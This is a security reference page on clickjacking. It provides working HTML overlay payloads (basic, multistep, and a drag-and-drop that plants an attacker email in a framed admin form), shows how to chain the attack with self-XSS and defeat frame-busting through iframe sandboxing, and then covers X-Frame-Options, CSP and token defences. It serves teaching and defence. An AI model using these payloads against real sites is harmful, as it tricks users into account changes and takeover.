# Clickjacking

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## What is Clickjacking

In a clickjacking attack, a **user** is **tricked** into **clicking** an **element** on a webpage that is either **invisible** or disguised as a different element. This manipulation can lead to unintended consequences for the user, such as the downloading of malware, redirection to malicious web pages, provision of credentials or sensitive information, money transfers, or the online purchasing of products.

### Prepopulate forms trick

Sometimes is possible to **fill the value of fields of a form using GET parameters when loading a page**. An attacker may abuse this behaviour to fill a form with arbitrary data and send the clickjacking payload so the user press the button Submit.

### Populate form with Drag\&Drop

If you need the user to **fill a form** but you don't want to directly ask him to write some specific information (like the email and or specific password that you know), you can just ask him to **Drag\&Drop** something that will write your controlled data like in [**this example**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).

### Basic Payload

```markup
<style>
   iframe {
       position:relative;
       width: 500px;
       height: 700px;
       opacity: 0.1;
       z-index: 2;
   }
   div {
       position:absolute;
       top:470px;
       left:60px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```

### Multistep Payload

```markup
<style>
   iframe {
       position:relative;
       width: 500px;
       height: 500px;
       opacity: 0.1;
       z-index: 2;
   }
   .firstClick, .secondClick {
       position:absolute;
       top:330px;
       left:60px;
       z-index: 1;
   }
   .secondClick {
       left:210px;
   }
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```

### Drag\&Drop + Click payload

```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```

### XSS + Clickjacking

If you have identified an **XSS attack that requires a user to click** on some element to **trigger** the XSS and the page is **vulnerable to clickjacking**, you could abuse it to trick the user into clicking the button/link.\
Example:\
\&#xNAN;*You found a **self XSS** in some private details of the account (details that **only you can set and read**). The page with the **form** to set these details is **vulnerable** to **Clickjacking** and you can **prepopulate** the **form** with the GET parameters.*\
\_\_An attacker could prepare a **Clickjacking** attack to that page **prepopulating** the **form** with the **XSS payload** and **tricking** the **user** into **Submit** the form. So, **when the form is submitted** and the values are modified, the **user will execute the XSS**.

## Strategies to Mitigate Clickjacking

### Client-Side Defenses

Scripts executed on the client side can perform actions to prevent Clickjacking:

* Ensuring the application window is the main or top window.
* Making all frames visible.
* Preventing clicks on invisible frames.
* Detecting and alerting users to potential Clickjacking attempts.

However, these frame-busting scripts may be circumvented:

* **Browsers' Security Settings:** Some browsers might block these scripts based on their security settings or lack of JavaScript support.
* **HTML5 iframe `sandbox` Attribute:** An attacker can neutralize frame buster scripts by setting the `sandbox` attribute with `allow-forms` or `allow-scripts` values without `allow-top-navigation`. This prevents the iframe from verifying if it is the top window, e.g.,

```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```

The `allow-forms` and `allow-scripts` values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like `allow-same-origin` and `allow-modals` might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.

### Server-Side Defenses

#### X-Frame-Options

The **`X-Frame-Options` HTTP response header** informs browsers about the legitimacy of rendering a page in a `<frame>` or `<iframe>`, helping to prevent Clickjacking:

* `X-Frame-Options: deny` - No domain can frame the content.
* `X-Frame-Options: sameorigin` - Only the current site can frame the content.
* `X-Frame-Options: allow-from https://trusted.com` - Only the specified 'uri' can frame the page.
  * Note the limitations: if the browser doesn't support this directive, it might not work. Some browsers prefer the CSP frame-ancestors directive.

#### Content Security Policy (CSP) frame-ancestors directive

**`frame-ancestors` directive in CSP** is the advised method for Clickjacking protection:

* `frame-ancestors 'none'` - Similar to `X-Frame-Options: deny`.
* `frame-ancestors 'self'` - Similar to `X-Frame-Options: sameorigin`.
* `frame-ancestors trusted.com` - Similar to `X-Frame-Options: allow-from`.

For instance, the following CSP only allows framing from the same domain:

`Content-Security-Policy: frame-ancestors 'self';`

Further details and complex examples can be found in the [frame-ancestors CSP documentation](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) and [Mozilla's CSP frame-ancestors documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).

### Content Security Policy (CSP) with `child-src` and `frame-src`

**Content Security Policy (CSP)** is a security measure that helps in preventing Clickjacking and other code injection attacks by specifying which sources the browser should allow to load content.

#### `frame-src` Directive

* Defines valid sources for frames.
* More specific than the `default-src` directive.

```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```

This policy allows frames from the same origin (self) and <https://trusted-website.com>.

#### `child-src` Directive

* Introduced in CSP level 2 to set valid sources for web workers and frames.
* Acts as a fallback for frame-src and worker-src.

```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```

This policy allows frames and workers from the same origin (self) and <https://trusted-website.com>.

**Usage Notes:**

* Deprecation: child-src is being phased out in favor of frame-src and worker-src.
* Fallback Behavior: If frame-src is absent, child-src is used as a fallback for frames. If both are absent, default-src is used.
* Strict Source Definition: Include only trusted sources in the directives to prevent exploitation.

#### JavaScript Frame-Breaking Scripts

Although not completely foolproof, JavaScript-based frame-busting scripts can be used to prevent a web page from being framed. Example:

```javascript
if (top !== self) {
    top.location = self.location;
}
```

#### Employing Anti-CSRF Tokens

* **Token Validation:** Use anti-CSRF tokens in web applications to ensure that state-changing requests are made intentionally by the user and not through a Clickjacked page.

## References

* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)

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